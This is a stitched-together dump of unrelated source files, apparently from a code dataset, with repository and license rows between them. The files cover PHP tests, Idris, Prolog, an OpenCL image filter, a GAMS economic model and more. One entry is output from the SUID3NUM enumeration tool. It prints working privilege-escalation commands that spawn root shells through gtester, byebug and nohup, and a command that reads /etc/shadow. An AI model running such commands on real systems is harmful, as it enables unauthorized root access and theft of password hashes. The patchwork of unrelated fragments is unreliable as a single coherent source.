}
| ooc | 3 | shamanas/rock | test/compiler/functions/inference-precision-loss.ooc | [
"MIT"
] |
export const value = "shared";
| JavaScript | 1 | 1shenxi/webpack | test/configCases/container/1-transitive-overriding/shared.js | [
"MIT"
] |
--TEST--
strip comments and whitespace with -w
--SKIPIF--
<?php
include "skipif.inc";
if (substr(PHP_OS, 0, 3) == 'WIN') {
die ("skip not for Windows");
}
?>
--FILE--
<?php
$php = getenv('TEST_PHP_EXECUTABLE');
$filename = __DIR__.'/007.test.php';
$code ='
<?php
/* some test script */
class test { /* {{{ */
public $var = "test"; //test var
#perl style comment
private $pri; /* private attr */
function foo(/* void */) {
}
}
/* }}} */
?>
';
file_put_contents($filename, $code);
var_dump(`$php -n -w "$filename"`);
var_dump(`$php -n -w "wrong"`);
var_dump(`echo "<?php /* comment */ class test {\n // comment \n function foo() {} } ?>" | $php -n -w`);
@unlink($filename);
echo "Done\n";
?>
--EXPECT--
string(81) "
<?php
class test { public $var = "test"; private $pri; function foo() { } } ?>
"
string(33) "Could not open input file: wrong
"
string(43) "<?php class test { function foo() {} } ?>
"
Done
| PHP | 4 | NathanFreeman/php-src | sapi/cli/tests/007.phpt | [
"PHP-3.01"
] |
{% set result = '192.168.0.12/24' | ip_host() %}
{% include 'jinja_filters/common.sls' %}
| SaltStack | 2 | byteskeptical/salt | tests/integration/files/file/base/jinja_filters/network_ip_host.sls | [
"Apache-2.0"
] |
:- web_resource(plaintext/1, content_type(text/plain)).
plaintext('Hello, World!').
:- web_resource(json/1).
json([message('Hello, World!')]).
| Prolog | 4 | efectn/FrameworkBenchmarks | frameworks/Prolog/tuProlog/app/application.prolog | [
"BSD-3-Clause"
] |
module Algebra.Preorder
%default total
||| Preorder defines a binary relation using the `<=` operator
public export
interface Preorder a where
(<=) : a -> a -> Bool
preorderRefl : {x : a} -> x <= x = True
preorderTrans : {x, y, z : a} -> x <= y = True -> y <= z = True -> x <= z = True
||| Least Upper Bound, replace max using only Preorder
export
lub : Preorder a => a -> a -> a
lub x y = if x <= y then y else x
||| Greatest Lower Bound, replaces min using only Preorder
export
glb : Preorder a => a -> a -> a
glb x y = if x <= y then x else y
||| Strict less-than using the relation from a preorder
public export
(<) : (Preorder a, Eq a) => a -> a -> Bool
(<) x y = x <= y && x /= y
||| The greatest bound of a bounded lattice, we only need to know about preorders however
public export
interface Preorder a => Top a where
top : a
topAbs : {x : a} -> x <= top = True
| Idris | 4 | Qqwy/Idris2-Erlang | idris2/src/Algebra/Preorder.idr | [
"BSD-3-Clause"
] |
#! /bin/sh /usr/share/dpatch/dpatch-run
## no-chunk-align.dpatch by <domas.mituzas@gmail.com>
##
## All lines beginning with `## DP:' are a description of the patch.
## DP: No description.
@DPATCH@
diff -urNad memcached-1.2.8~/slabs.c memcached-1.2.8/slabs.c
--- memcached-1.2.8~/slabs.c 2009-04-11 03:48:08.000000000 +0000
+++ memcached-1.2.8/slabs.c 2009-04-11 09:24:16.000000000 +0000
@@ -25,7 +25,7 @@
#define POWER_SMALLEST 1
#define POWER_LARGEST 200
#define POWER_BLOCK 1048576
-#define CHUNK_ALIGN_BYTES 8
+#define CHUNK_ALIGN_BYTES 1
#define DONT_PREALLOC_SLABS
/* powers-of-N allocation structures */
| Darcs Patch | 2 | aliostad/deep-learning-lang-detection | data/test/bash/7d52b7d72638578f118efab3bfb419d6df167f47no-chunk-align.dpatch | [
"MIT"
] |
umar_0x01@b0x:~/Desktop/SUID3NUM$ python3 suid3num.py
___ _ _ _ ___ _____ _ _ _ __ __
/ __| | | / | \ |__ / \| | | | | \/ |
\__ \ |_| | | |) | |_ \ .` | |_| | |\/| |
|___/\___/|_|___/ |___/_|\_|\___/|_| |_| twitter@syed__umar
[#] Finding/Listing all SUID Binaries ..
------------------------------
/bin/zsh
/bin/umount
/bin/su
/bin/mount
/bin/ping
/bin/fusermount
/bin/nc.openbsd
/usr/bin/gtester
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/byebug
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/vim.tiny
/usr/bin/xxd
/usr/bin/nohup
/usr/bin/traceroute6.iputils
/usr/bin/arping
/usr/bin/look
/usr/sbin/vmware-authd
/usr/sbin/pppd
/usr/share/discord/chrome-sandbox
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/slack/chrome-sandbox
/usr/lib/snapd/snap-confine
/usr/lib/chromium-browser/chrome-sandbox
/usr/lib/virtualbox/VBoxVolInfo
/usr/lib/virtualbox/VBoxSDL
/usr/lib/virtualbox/VBoxNetDHCP
/usr/lib/virtualbox/VBoxNetNAT
/usr/lib/virtualbox/VBoxNetAdpCtl
/usr/lib/virtualbox/VBoxHeadless
/usr/lib/virtualbox/VirtualBoxVM
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/vmware/bin/vmware-vmx-stats
/usr/lib/vmware/bin/vmware-vmx-debug
/usr/lib/vmware/bin/vmware-vmx
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/opt/google/chrome/chrome-sandbox
/sbin/mount.ecryptfs_private
/snap/snapd/8140/usr/lib/snapd/snap-confine
/snap/core18/1754/bin/mount
/snap/core18/1754/bin/ping
/snap/core18/1754/bin/su
/snap/core18/1754/bin/umount
/snap/core18/1754/usr/bin/chfn
/snap/core18/1754/usr/bin/chsh
/snap/core18/1754/usr/bin/gpasswd
/snap/core18/1754/usr/bin/newgrp
/snap/core18/1754/usr/bin/passwd
/snap/core18/1754/usr/bin/sudo
/snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1754/usr/lib/openssh/ssh-keysign
------------------------------
[!] Default Binaries (Don't bother)
------------------------------
/bin/umount
/bin/su
/bin/mount
/bin/ping
/bin/fusermount
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/traceroute6.iputils
/usr/bin/arping
/usr/sbin/vmware-authd
/usr/sbin/pppd
/usr/share/discord/chrome-sandbox
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/slack/chrome-sandbox
/usr/lib/snapd/snap-confine
/usr/lib/chromium-browser/chrome-sandbox
/usr/lib/virtualbox/VBoxVolInfo
/usr/lib/virtualbox/VBoxSDL
/usr/lib/virtualbox/VBoxNetDHCP
/usr/lib/virtualbox/VBoxNetNAT
/usr/lib/virtualbox/VBoxNetAdpCtl
/usr/lib/virtualbox/VBoxHeadless
/usr/lib/virtualbox/VirtualBoxVM
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/vmware/bin/vmware-vmx-stats
/usr/lib/vmware/bin/vmware-vmx-debug
/usr/lib/vmware/bin/vmware-vmx
/usr/lib/xorg/Xorg.wrap
/usr/lib/openssh/ssh-keysign
/opt/google/chrome/chrome-sandbox
/sbin/mount.ecryptfs_private
/snap/snapd/8140/usr/lib/snapd/snap-confine
/snap/core18/1754/bin/mount
/snap/core18/1754/bin/ping
/snap/core18/1754/bin/su
/snap/core18/1754/bin/umount
/snap/core18/1754/usr/bin/chfn
/snap/core18/1754/usr/bin/chsh
/snap/core18/1754/usr/bin/gpasswd
/snap/core18/1754/usr/bin/newgrp
/snap/core18/1754/usr/bin/passwd
/snap/core18/1754/usr/bin/sudo
/snap/core18/1754/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1754/usr/lib/openssh/ssh-keysign
------------------------------
[~] Custom SUID Binaries (Interesting Stuff)
------------------------------
/bin/zsh
/bin/nc.openbsd
/usr/bin/gtester
/usr/bin/byebug
/usr/bin/vim.tiny
/usr/bin/xxd
/usr/bin/nohup
/usr/bin/look
------------------------------
[#] SUID Binaries in GTFO bins list (Hell Yeah!)
------------------------------
/bin/zsh -~> https://gtfobins.github.io/gtfobins/zsh/#suid
/usr/bin/gtester -~> https://gtfobins.github.io/gtfobins/gtester/#suid
/usr/bin/byebug -~> https://gtfobins.github.io/gtfobins/byebug/#suid
/usr/bin/xxd -~> https://gtfobins.github.io/gtfobins/xxd/#suid
/usr/bin/nohup -~> https://gtfobins.github.io/gtfobins/nohup/#suid
/usr/bin/look -~> https://gtfobins.github.io/gtfobins/look/#suid
------------------------------
[&] Manual Exploitation (Binaries which create files on the system)
------------------------------
[&] Gtester ( /usr/bin/gtester )
TF=$(mktemp)
echo '#!/bin/sh -p' > $TF
echo 'exec /bin/sh -p 0<&1' >> $TF
chmod +x $TF
/usr/bin/gtester -q $TF
[&] Byebug ( /usr/bin/byebug )
TF=$(mktemp)
echo 'system("/bin/sh")' > $TF
/usr/bin/byebug $TF
continue
[&] Nohup ( /usr/bin/nohup )
/usr/bin/nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"
[&] Look ( /usr/bin/look )
LFILE=file_to_read
/usr/bin/look '' "$LFILE"
------------------------------
[$] Please try the command(s) below to exploit harmless SUID bin(s) found !!!
------------------------------
[~] /bin/zsh
[~] /usr/bin/xxd /etc/shadow | xxd -r
------------------------------
[-] Note
------------------------------
If you see any FP in the output, please report it to make the script better! :)
------------------------------
| Matlab | 4 | bbhunter/SUID3NUM | output.matlab | [
"MIT"
] |
PREFIX : <http://www.example.org/>
SELECT ?O12 (COUNT(?O1) AS ?C)
WHERE { ?S :p ?O1; :q ?O2 } GROUP BY ((?O1 + ?O2) AS ?O12)
ORDER BY ?O12
| SPARQL | 4 | alpano-unibz/ontop | test/sparql-compliance/src/test/resources/testcases-dawg-sparql-1.1/aggregates/agg08b.rq | [
"Apache-2.0"
] |
-- @shouldWarnWith HiddenConstructors
module Main (N) where
import Data.Newtype (class Newtype)
newtype N a = N a
derive instance newtypeN :: Newtype (N a) _
| PureScript | 3 | andys8/purescript | tests/purs/warning/HiddenConstructorsNewtype.purs | [
"BSD-3-Clause"
] |
--TEST--
Test lchgrp() function : basic functionality
--SKIPIF--
<?php
if (substr(PHP_OS, 0, 3) == 'WIN') die('skip no windows support');
if (!function_exists("posix_getgid")) die("skip no posix_getgid()");
?>
--FILE--
<?php
$filename = __DIR__ . DIRECTORY_SEPARATOR . 'lchgrp.txt';
$symlink = __DIR__ . DIRECTORY_SEPARATOR . 'symlink.txt';
$gid = posix_getgid();
var_dump( touch( $filename ) );
var_dump( symlink( $filename, $symlink ) );
var_dump( lchgrp( $filename, $gid ) );
var_dump( filegroup( $symlink ) === $gid );
?>
--CLEAN--
<?php
$filename = __DIR__ . DIRECTORY_SEPARATOR . 'lchgrp.txt';
$symlink = __DIR__ . DIRECTORY_SEPARATOR . 'symlink.txt';
unlink($filename);
unlink($symlink);
?>
--EXPECT--
bool(true)
bool(true)
bool(true)
bool(true)
| PHP | 3 | thiagooak/php-src | ext/standard/tests/file/lchgrp_basic.phpt | [
"PHP-3.01"
] |
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2010-2012, Institute Of Software Chinese Academy Of Science, all rights reserved.
// Copyright (C) 2010-2012, Advanced Micro Devices, Inc., all rights reserved.
// Copyright (C) 2014, Itseez, Inc, all rights reserved.
// Third party copyrights are property of their respective owners.
//
// @Authors
// Niko Li, newlife20080214@gmail.com
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors as is and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//
#ifdef DOUBLE_SUPPORT
#ifdef cl_amd_fp64
#pragma OPENCL EXTENSION cl_amd_fp64:enable
#elif defined (cl_khr_fp64)
#pragma OPENCL EXTENSION cl_khr_fp64:enable
#endif
#endif
#define READ_TIMES_ROW ((2*(RADIUSX+LSIZE0)-1)/LSIZE0) //for c4 only
#define RADIUS 1
#ifdef BORDER_REPLICATE
// BORDER_REPLICATE: aaaaaa|abcdefgh|hhhhhhh
#define ADDR_L(i, l_edge, r_edge) ((i) < (l_edge) ? (l_edge) : (i))
#define ADDR_R(i, r_edge, addr) ((i) >= (r_edge) ? (r_edge)-1 : (addr))
#endif
#ifdef BORDER_REFLECT
// BORDER_REFLECT: fedcba|abcdefgh|hgfedcb
#define ADDR_L(i, l_edge, r_edge) ((i) < (l_edge) ? -(i)-1 : (i))
#define ADDR_R(i, r_edge, addr) ((i) >= (r_edge) ? -(i)-1+((r_edge)<<1) : (addr))
#endif
#ifdef BORDER_REFLECT_101
// BORDER_REFLECT_101: gfedcb|abcdefgh|gfedcba
#define ADDR_L(i, l_edge, r_edge) ((i) < (l_edge) ? -(i) : (i))
#define ADDR_R(i, r_edge, addr) ((i) >= (r_edge) ? -(i)-2+((r_edge)<<1) : (addr))
#endif
#ifdef BORDER_WRAP
// BORDER_WRAP: cdefgh|abcdefgh|abcdefg
#define ADDR_L(i, l_edge, r_edge) ((i) < (l_edge) ? (i)+(r_edge) : (i))
#define ADDR_R(i, r_edge, addr) ((i) >= (r_edge) ? (i)-(r_edge) : (addr))
#endif
#ifdef EXTRA_EXTRAPOLATION // border > src image size
#ifdef BORDER_CONSTANT
#define ELEM(i,l_edge,r_edge,elem1,elem2) (i)<(l_edge) | (i) >= (r_edge) ? (elem1) : (elem2)
#elif defined BORDER_REPLICATE
#define EXTRAPOLATE(t, minT, maxT) \
{ \
t = max(min(t, (maxT) - 1), (minT)); \
}
#elif defined BORDER_WRAP
#define EXTRAPOLATE(x, minT, maxT) \
{ \
if (t < (minT)) \
t -= ((t - (maxT) + 1) / (maxT)) * (maxT); \
if (t >= (maxT)) \
t %= (maxT); \
}
#elif defined(BORDER_REFLECT) || defined(BORDER_REFLECT_101)
#define EXTRAPOLATE_(t, minT, maxT, delta) \
{ \
if ((maxT) - (minT) == 1) \
t = (minT); \
else \
do \
{ \
if (t < (minT)) \
t = (minT) - (t - (minT)) - 1 + delta; \
else \
t = (maxT) - 1 - (t - (maxT)) - delta; \
} \
while (t >= (maxT) || t < (minT)); \
\
}
#ifdef BORDER_REFLECT
#define EXTRAPOLATE(t, minT, maxT) EXTRAPOLATE_(t, minT, maxT, 0)
#elif defined(BORDER_REFLECT_101)
#define EXTRAPOLATE(t, minT, maxT) EXTRAPOLATE_(t, minT, maxT, 1)
#endif
#else
#error No extrapolation method
#endif //BORDER_....
#else //EXTRA_EXTRAPOLATION
#ifdef BORDER_CONSTANT
#define ELEM(i,l_edge,r_edge,elem1,elem2) (i)<(l_edge) | (i) >= (r_edge) ? (elem1) : (elem2)
#else
#define EXTRAPOLATE(t, minT, maxT) \
{ \
int _delta = t - (minT); \
_delta = ADDR_L(_delta, 0, (maxT) - (minT)); \
_delta = ADDR_R(_delta, (maxT) - (minT), _delta); \
t = _delta + (minT); \
}
#endif //BORDER_CONSTANT
#endif //EXTRA_EXTRAPOLATION
#define noconvert
#if CN != 3
#define loadpix(addr) *(__global const srcT *)(addr)
#define storepix(val, addr) *(__global dstT *)(addr) = val
#define SRCSIZE (int)sizeof(srcT)
#define DSTSIZE (int)sizeof(dstT)
#else
#define loadpix(addr) vload3(0, (__global const srcT1 *)(addr))
#define storepix(val, addr) vstore3(val, 0, (__global dstT1 *)(addr))
#define SRCSIZE (int)sizeof(srcT1)*3
#define DSTSIZE (int)sizeof(dstT1)*3
#endif
#define DIG(a) a,
#if defined(INTEGER_ARITHMETIC)
__constant int mat_kernel[] = { COEFF };
#else
__constant dstT1 mat_kernel[] = { COEFF };
#endif
#if defined(INTEGER_ARITHMETIC)
#define dstT4 int4
#define convertDstVec convert_int4
#else
#define dstT4 float4
#define convertDstVec convert_float4
#endif
__kernel void row_filter_C1_D0(__global const uchar * src, int src_step_in_pixel, int src_offset_x, int src_offset_y,
int src_cols, int src_rows, int src_whole_cols, int src_whole_rows,
__global float * dst, int dst_step_in_pixel, int dst_cols, int dst_rows,
int radiusy)
{
int x = get_global_id(0)<<2;
int y = get_global_id(1);
int l_x = get_local_id(0);
int l_y = get_local_id(1);
int start_x = x + src_offset_x - RADIUSX & 0xfffffffc;
int offset = src_offset_x - RADIUSX & 3;
int start_y = y + src_offset_y - radiusy;
int start_addr = mad24(start_y, src_step_in_pixel, start_x);
dstT4 sum;
uchar4 temp[READ_TIMES_ROW];
__local uchar4 LDS_DAT[LSIZE1][READ_TIMES_ROW * LSIZE0 + 1];
#ifdef BORDER_CONSTANT
int end_addr = mad24(src_whole_rows - 1, src_step_in_pixel, src_whole_cols);
// read pixels from src
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
int current_addr = mad24(i, LSIZE0 << 2, start_addr);
current_addr = current_addr < end_addr && current_addr > 0 ? current_addr : 0;
temp[i] = *(__global const uchar4 *)&src[current_addr];
}
// judge if read out of boundary
#ifdef BORDER_ISOLATED
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
temp[i].x = ELEM(start_x+i*LSIZE0*4, src_offset_x, src_offset_x + src_cols, 0, temp[i].x);
temp[i].y = ELEM(start_x+i*LSIZE0*4+1, src_offset_x, src_offset_x + src_cols, 0, temp[i].y);
temp[i].z = ELEM(start_x+i*LSIZE0*4+2, src_offset_x, src_offset_x + src_cols, 0, temp[i].z);
temp[i].w = ELEM(start_x+i*LSIZE0*4+3, src_offset_x, src_offset_x + src_cols, 0, temp[i].w);
temp[i] = ELEM(start_y, src_offset_y, src_offset_y + src_rows, (uchar4)0, temp[i]);
}
#else
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
temp[i].x = ELEM(start_x+i*LSIZE0*4, 0, src_whole_cols, 0, temp[i].x);
temp[i].y = ELEM(start_x+i*LSIZE0*4+1, 0, src_whole_cols, 0, temp[i].y);
temp[i].z = ELEM(start_x+i*LSIZE0*4+2, 0, src_whole_cols, 0, temp[i].z);
temp[i].w = ELEM(start_x+i*LSIZE0*4+3, 0, src_whole_cols, 0, temp[i].w);
temp[i] = ELEM(start_y, 0, src_whole_rows, (uchar4)0, temp[i]);
}
#endif
#else // BORDER_CONSTANT
#ifdef BORDER_ISOLATED
int not_all_in_range = (start_x<src_offset_x) | (start_x + READ_TIMES_ROW*LSIZE0*4+4>src_offset_x + src_cols)| (start_y<src_offset_y) | (start_y >= src_offset_y + src_rows);
#else
int not_all_in_range = (start_x<0) | (start_x + READ_TIMES_ROW*LSIZE0*4+4>src_whole_cols)| (start_y<0) | (start_y >= src_whole_rows);
#endif
int4 index[READ_TIMES_ROW], addr;
int s_y;
if (not_all_in_range)
{
// judge if read out of boundary
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
index[i] = (int4)(mad24(i, LSIZE0 << 2, start_x)) + (int4)(0, 1, 2, 3);
#ifdef BORDER_ISOLATED
EXTRAPOLATE(index[i].x, src_offset_x, src_offset_x + src_cols);
EXTRAPOLATE(index[i].y, src_offset_x, src_offset_x + src_cols);
EXTRAPOLATE(index[i].z, src_offset_x, src_offset_x + src_cols);
EXTRAPOLATE(index[i].w, src_offset_x, src_offset_x + src_cols);
#else
EXTRAPOLATE(index[i].x, 0, src_whole_cols);
EXTRAPOLATE(index[i].y, 0, src_whole_cols);
EXTRAPOLATE(index[i].z, 0, src_whole_cols);
EXTRAPOLATE(index[i].w, 0, src_whole_cols);
#endif
}
s_y = start_y;
#ifdef BORDER_ISOLATED
EXTRAPOLATE(s_y, src_offset_y, src_offset_y + src_rows);
#else
EXTRAPOLATE(s_y, 0, src_whole_rows);
#endif
// read pixels from src
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
addr = mad24((int4)s_y, (int4)src_step_in_pixel, index[i]);
temp[i].x = src[addr.x];
temp[i].y = src[addr.y];
temp[i].z = src[addr.z];
temp[i].w = src[addr.w];
}
}
else
{
// read pixels from src
for (int i = 0; i < READ_TIMES_ROW; ++i)
temp[i] = *(__global uchar4*)&src[mad24(i, LSIZE0 << 2, start_addr)];
}
#endif //BORDER_CONSTANT
// save pixels to lds
for (int i = 0; i < READ_TIMES_ROW; ++i)
LDS_DAT[l_y][mad24(i, LSIZE0, l_x)] = temp[i];
barrier(CLK_LOCAL_MEM_FENCE);
// read pixels from lds and calculate the result
sum = convertDstVec(vload4(0,(__local uchar *)&LDS_DAT[l_y][l_x]+RADIUSX+offset)) * mat_kernel[RADIUSX];
for (int i = 1; i <= RADIUSX; ++i)
{
temp[0] = vload4(0, (__local uchar*)&LDS_DAT[l_y][l_x] + RADIUSX + offset - i);
temp[1] = vload4(0, (__local uchar*)&LDS_DAT[l_y][l_x] + RADIUSX + offset + i);
#if defined(INTEGER_ARITHMETIC)
sum += mad24(convertDstVec(temp[0]), mat_kernel[RADIUSX-i], convertDstVec(temp[1]) * mat_kernel[RADIUSX + i]);
#else
sum += mad(convertDstVec(temp[0]), mat_kernel[RADIUSX-i], convertDstVec(temp[1]) * mat_kernel[RADIUSX + i]);
#endif
}
start_addr = mad24(y, dst_step_in_pixel, x);
// write the result to dst
if ((x+3<dst_cols) & (y<dst_rows))
*(__global dstT4*)&dst[start_addr] = sum;
else if ((x+2<dst_cols) && (y<dst_rows))
{
dst[start_addr] = sum.x;
dst[start_addr+1] = sum.y;
dst[start_addr+2] = sum.z;
}
else if ((x+1<dst_cols) && (y<dst_rows))
{
dst[start_addr] = sum.x;
dst[start_addr+1] = sum.y;
}
else if (x<dst_cols && y<dst_rows)
dst[start_addr] = sum.x;
}
__kernel void row_filter(__global const uchar * src, int src_step, int src_offset_x, int src_offset_y,
int src_cols, int src_rows, int src_whole_cols, int src_whole_rows,
__global uchar * dst, int dst_step, int dst_cols, int dst_rows,
int radiusy)
{
int x = get_global_id(0);
int y = get_global_id(1);
int l_x = get_local_id(0);
int l_y = get_local_id(1);
int start_x = x + src_offset_x - RADIUSX;
int start_y = y + src_offset_y - radiusy;
int start_addr = mad24(start_y, src_step, start_x * SRCSIZE);
dstT sum;
srcT temp[READ_TIMES_ROW];
__local srcT LDS_DAT[LSIZE1][READ_TIMES_ROW * LSIZE0 + 1];
#ifdef BORDER_CONSTANT
int end_addr = mad24(src_whole_rows - 1, src_step, src_whole_cols * SRCSIZE);
// read pixels from src
for (int i = 0; i < READ_TIMES_ROW; i++)
{
int current_addr = mad24(i, LSIZE0 * SRCSIZE, start_addr);
current_addr = current_addr < end_addr && current_addr >= 0 ? current_addr : 0;
temp[i] = loadpix(src + current_addr);
}
// judge if read out of boundary
#ifdef BORDER_ISOLATED
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
temp[i] = ELEM(mad24(i, LSIZE0, start_x), src_offset_x, src_offset_x + src_cols, (srcT)(0), temp[i]);
temp[i] = ELEM(start_y, src_offset_y, src_offset_y + src_rows, (srcT)(0), temp[i]);
}
#else
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
temp[i] = ELEM(mad24(i, LSIZE0, start_x), 0, src_whole_cols, (srcT)(0), temp[i]);
temp[i] = ELEM(start_y, 0, src_whole_rows, (srcT)(0), temp[i]);
}
#endif
#else
int index[READ_TIMES_ROW], s_x, s_y;
// judge if read out of boundary
for (int i = 0; i < READ_TIMES_ROW; ++i)
{
s_x = mad24(i, LSIZE0, start_x);
s_y = start_y;
#ifdef BORDER_ISOLATED
EXTRAPOLATE(s_x, src_offset_x, src_offset_x + src_cols);
EXTRAPOLATE(s_y, src_offset_y, src_offset_y + src_rows);
#else
EXTRAPOLATE(s_x, 0, src_whole_cols);
EXTRAPOLATE(s_y, 0, src_whole_rows);
#endif
index[i] = mad24(s_y, src_step, s_x * SRCSIZE);
}
// read pixels from src
for (int i = 0; i < READ_TIMES_ROW; ++i)
temp[i] = loadpix(src + index[i]);
#endif // BORDER_CONSTANT
// save pixels to lds
for (int i = 0; i < READ_TIMES_ROW; ++i)
LDS_DAT[l_y][mad24(i, LSIZE0, l_x)] = temp[i];
barrier(CLK_LOCAL_MEM_FENCE);
// read pixels from lds and calculate the result
sum = convertToDstT(LDS_DAT[l_y][l_x + RADIUSX]) * mat_kernel[RADIUSX];
for (int i = 1; i <= RADIUSX; ++i)
{
temp[0] = LDS_DAT[l_y][l_x + RADIUSX - i];
temp[1] = LDS_DAT[l_y][l_x + RADIUSX + i];
#if defined(INTEGER_ARITHMETIC)
sum += mad24(convertToDstT(temp[0]), mat_kernel[RADIUSX - i], convertToDstT(temp[1]) * mat_kernel[RADIUSX + i]);
#else
sum += mad(convertToDstT(temp[0]), mat_kernel[RADIUSX - i], convertToDstT(temp[1]) * mat_kernel[RADIUSX + i]);
#endif
}
// write the result to dst
if (x < dst_cols && y < dst_rows)
{
start_addr = mad24(y, dst_step, x * DSTSIZE);
storepix(sum, dst + start_addr);
}
}
| OpenCL | 3 | lefatoum2/opencv | modules/imgproc/src/opencl/filterSepRow.cl | [
"Apache-2.0"
] |
# ======================================================================================================================
# Consumers
# - Consumption decisions and budget constraint
# ======================================================================================================================
# ======================================================================================================================
# Variable definition
# - Define variables and group them based on endogeneity, inflation or growth adjustment, and how they should be forecast (if exogenous)
# ======================================================================================================================
$IF %stage% == "variables":
$GROUP G_consumers_prices
EpC[t]$(t.val > 2015) "Forventet prisindeks for næste periodes forbrug ekskl. bolig."
pBolig[t] "Kontantprisen på enfamiliehuse, Kilde: ADAM[phk]"
pLand[t] "Imputeret pris på grundværdien af land til boligbenyttelse."
pC[c_,t]$(cNest[c_] and not cTot[c_]) "Imputeret prisindeks for forbrugskomponenter for husholdninger - dvs. ekskl. turisters forbrug."
EpBolig[t]$(t.val > 2015) "Forventning til boligpris i næste periode."
EpLand[t]$(t.val>2015) "Forventning til pris på grundværdien af land til boligbenyttelse i næste periode."
pBoligUC[a,t]$(t.val > 2015) "User cost for ejerbolig."
;
$GROUP G_consumers_quantities
qC[c_,t]$(not cTot[c_]) "Husholdningernes samlede forbrug fordelt på forbrugsgrupper og aggregater inkl. lejebolig og imputeret ejerbolig."
qC_a[a,t]$(a18t100[a] and t.val > 2015) "Individuelt forbrug ekskl. bolig."
qCR[a_,t]$((a18t100[a_] or aTot[a_]) and t.val > 2015) "Individuel forbrug ekskl. bolig for fremadskuende agenter."
qCHtM[a_,t]$((a18t100[a_] or aTot[a_]) and t.val > 2015) "Individuel forbrug ekskl. bolig for hand-to-mouth agenter."
qCRxRef[a,t]$(a18t100[a] and t.val > 2015) "Forbrug ekskl. bolig og referenceforbrug for fremadskuende agenter."
qCHtMxRef[a_,t]$(a18t100[a_] and t.val > 2015) "Individuel forbrug ekskl. bolig og referenceforbrug for hand-to-mouth agenter ."
qBiler[t] "Kapitalmængde for køretøjer i husholdningerne, Kilde: ADAM[fKncb]"
qBoligHtM[a_,t]$((a18t100[a_] or aTot[a_]) and t.val > 2015) "Ejerboliger ejet af hand-to-mouth husholdningerne."
qBoligHtMxRef[a_,t]$(a18t100[a_] and t.val > 2015) "Ejerboliger ejet af hand-to-mouth husholdningerne eksl. referenceforbrug."
qBoligR[a_,t]$((a18t100[a_] or aTot[a_]) and t.val > 2015) "Ejerboliger ejet af rationelle fremadskuende husholdningerne."
qBolig[a_,t]$((a18t100[a_] or aTot[a_]) and t.val > 2015) "Ejerboliger ejet af husholdningerne (aggregat af kapital og land)"
qBoligRxRef[a_,t]$(a18t100[a_] and t.val > 2015) "Ejerboliger ejet af husholdningerne ekskl. referenceforbrug."
qYBolig[t] "Bruttoproduktion af ejerboliger inkl. installationsomkostninger (aggregat af kapital og land)"
qIBoligInstOmk[t] "Installationsomkostninger for boliginvesteringer i nybyggeri."
qLand[t] "Land benyttet som grunde til ejerboliger."
qLandSalg[t] "Land solgt fra husholdningerne til at bygge grunde til ejerboliger på."
qKBolig[t] "Kapitalmængde af ejerboliger, Kilde: ADAM[fKnbhe]"
qIBolig[t] "Investeringer i ejerboligkapital."
qKLejeBolig[t] "Kapitalmængde af lejeboliger, Kilde: ADAM[fKnbhl]"
qNytte[a,t]$(t.val > 2015) "CES nest af bolig og andet privat forbrug."
qArvBase[a,t]$(a18t100[a] and t.val > 2015) "Hjælpevariabel til førsteordensbetingelse for arve-nytte."
qFormueBase[a,t]$(a18t100[a] and t.val > 2015) "Hjælpevariabel til førsteordensbetingelse for nytte af formue."
;
$GROUP G_consumers_values
vC_a[a,t]$(a18t100[a] and t.val > 2015) "Individuelt forbrug ekskl. bolig."
vHhx[a_,t]$(a0t100[a_] or aTot[a_]) "Husholdningernes formue ekskl. pension, bolig og realkreditgæld (vægtet gns. af Hand-to-Mouth og rationelle forbrugere)"
vCLejeBolig[a_,t]$(a18t100[a_] or aTot[a_]) "Forbrug af lejeboliger."
vArvGivet[a,t]$(t.val > 2015) "Arv givet af hele kohorten med alder a."
vArv[a_,t]$(t.val > 2015) "Arv modtaget af en person med alderen a."
vtArv[a_,t]$(t.val > 2015) "Kapitalskatter (Arveafgift), Kilde: ADAM[sK_h_o] for total."
vtHhx[a_,t]$((a0t100[a_] and t.val > 2015) or aTot[a_]) "Skatter knyttet til husholdningerne i MAKRO ekskl. pensionsafkastskat, ejendomsværdiskat og dødsboskat."
vBoligUdgift[a_,t]$(t.val > 2015) "Cash-flow-udgift til bolig - dvs. inkl. afbetaling på gæld og inkl. øvrige omkostninger fx renter og bidragssats på realkreditlån."
